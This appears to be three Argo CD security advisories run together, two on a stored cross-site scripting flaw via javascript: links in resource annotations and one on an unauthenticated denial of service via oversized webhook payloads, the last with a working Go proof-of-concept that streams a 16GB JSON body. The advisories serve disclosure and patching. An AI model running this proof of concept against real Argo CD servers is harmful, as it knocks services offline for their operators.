Summary
Due to the improper URL protocols filtering of links specified in the link.argocd.argoproj.io annotations in the application summary component, an attacker can achieve cross-site scripting with elevated permissions.
Impact
All unpatched versions of Argo CD starting with v1.0.0 are vulnerable to a cross-site scripting (XSS) bug allowing a malicious user to inject a javascript: link in the UI. When clicked by a victim user, the script will execute with the victim's permissions (up to and including admin).
This vulnerability allows an attacker to perform arbitrary actions on behalf of the victim via the API, such as creating, modifying, and deleting Kubernetes resources.
Patches A patch for this vulnerability has been released in the following Argo CD versions:
v2.10.3 v2.9.8 v2.8.12
Workarounds
There are no completely-safe workarounds besides upgrading. The safest alternative, if upgrading is not possible, would be to create a Kubernetes admission controller to reject any resources with an annotation starting with link.argocd.argoproj.io or reject the resource if the value use an improper URL protocol. This validation will need to be applied in all clusters managed by ArgoCD.
Mitigations
1. Avoid clicking external links presented in the UI. The link's title is user-configurable. So even if you hover the link, and the tooltip looks safe, the link might be malicious. The only way to be certain that the link is safe is to inspect the page's source. 2. Carefully limit who has permissions to edit Kubernetes resource manifests (this is configured in RBAC for ArgoCD). The external-links are set as annotations on Kubernetes resources. Any persona with write access to resources managed by ArgoCD could be an actor.
References Documentation for the external links feature
Credits
Disclosed by RyotaK (@Ry0taK)
For more information
- Open an issue in the Argo CD issue tracker or discussions - Join us on Slack in channel #argo-cd
Impact
All unpatched versions of Argo CD starting with v1.0.0 are vulnerable to a cross-site scripting (XSS) bug allowing a malicious user to inject a javascript: link in the UI. When clicked by a victim user, the script will execute with the victim's permissions (up to and including admin).
The script would be capable of doing anything which is possible in the UI or via the API, such as creating, modifying, and deleting Kubernetes resources.
Patches
A patch for this vulnerability has been released in the following Argo CD versions:
v2.4.1 v2.3.5 v2.2.10 v2.1.16
Workarounds
There are no completely-safe workarounds besides upgrading.
Mitigations:
1. Avoid clicking external links presented in the UI. Here is an example of an Application node with an external link:
!Application node in the Argo CD UI with an external link
The link's title is user-configurable. So even if you hover the link, and the tooltip looks safe, the link might be malicious. The only way to be certain that the link is safe is to inspect the page's source.
2. Carefully limit who has permissions to edit resource manifests (this is configured in RBAC).
References
Documentation for the external links feature
Credits
Disclosed by ADA Logics in a security audit of the Argo project sponsored by CNCF and facilitated by OSTIF. Thanks to Adam Korczynski and David Korczynski for their work on the audit.
For more information
Open an issue in the Argo CD issue tracker or discussions Join us on Slack in channel #argo-cd
Summary This report details a security vulnerability in Argo CD, where an unauthenticated attacker can send a specially crafted large JSON payload to the /api/webhook endpoint, causing excessive memory allocation that leads to service disruption by triggering an Out Of Memory (OOM) kill. The issue poses a high risk to the availability of Argo CD deployments.
Details The webhook server always listens to requests. By default, the endpoint doesn't require authentication. It's possible to send a large, malicious request with headers (in this case "X-GitHub-Event: push") that will make ArgoCD start allocating memory to parse the incoming request. Since the request can be constructed client-side without allocating large amounts of memory, it can be arbitrarily large. Eventually, the argocd-server component will get OOMKilled as it consumes all its available memory.
The fix would be to enforce a limit on the size of the request being parsed.
PoC Port-forward to the argocd-server service, like so:
console kubectl port-forward svc/argocd-server -n argocd 8080:443
Run the below code:
go package main
import ( "crypto/tls" "io" "net/http" )
// Define a custom io.Reader that generates a large dummy JSON payload. type DummyJSONReader struct { size int64 // Total size to generate read int64 // Bytes already generated }
// Read generates the next chunk of the dummy JSON payload. func (r DummyJSONReader) Read(p []byte) (n int, err error) { if r.read >= r.size { return 0, io.EOF // Finished generating }
start := false if r.read == 0 { // Start of JSON p[0] = '{' p[1] = '"' p[2] = 'd' p[3] = 'a' p[4] = 't' p[5] = 'a' p[6] = '"' p[7] = ':' p[8] = '"' n = 9 start = true }
for i := n; i < len(p); i++ { if r.read+int64(i)-int64(n)+1 == r.size-1 { // End of JSON p[i] = '"' p[i+1] = '}' r.read += int64(i) + 2 - int64(n) return i + 2 - n, nil } else { p[i] = 'x' // Dummy data } }
r.read += int64(len(p)) - int64(n) if start { return len(p), nil } return len(p) - n, nil }
func main() { // Initialize the custom reader with the desired size (16GB in this case). payloadSize := int64(16) 1024 1024 1024 // 16GB reader := &DummyJSONReader{size: payloadSize}
// HTTP client setup httpClient := &http.Client{ Timeout: 0, // No timeout Transport: &http.Transport{ TLSClientConfig: &tls.Config{InsecureSkipVerify: true}, }, }
req, err := http.NewRequest("POST", "https://localhost:8080/api/webhook", reader) if err != nil { panic(err) }
// Set headers req.Header.Set("Content-Type", "application/json") req.Header.Set("X-GitHub-Event", "push")
resp, err := httpClient.Do(req) if err != nil { panic(err) } defer resp.Body.Close()
println("Response status code:", resp.StatusCode) }
Patches A patch for this vulnerability has been released in the following Argo CD versions:
v2.11.6 v2.10.15 v2.9.20
For more information If you have any questions or comments about this advisory:
Open an issue in the Argo CD issue tracker or discussions Join us on Slack in channel #argo-cd
Credits This vulnerability was found & reported by Jakub Ciolek
The Argo team would like to thank these contributors for their responsible disclosure and constructive communications during the resolve of this issue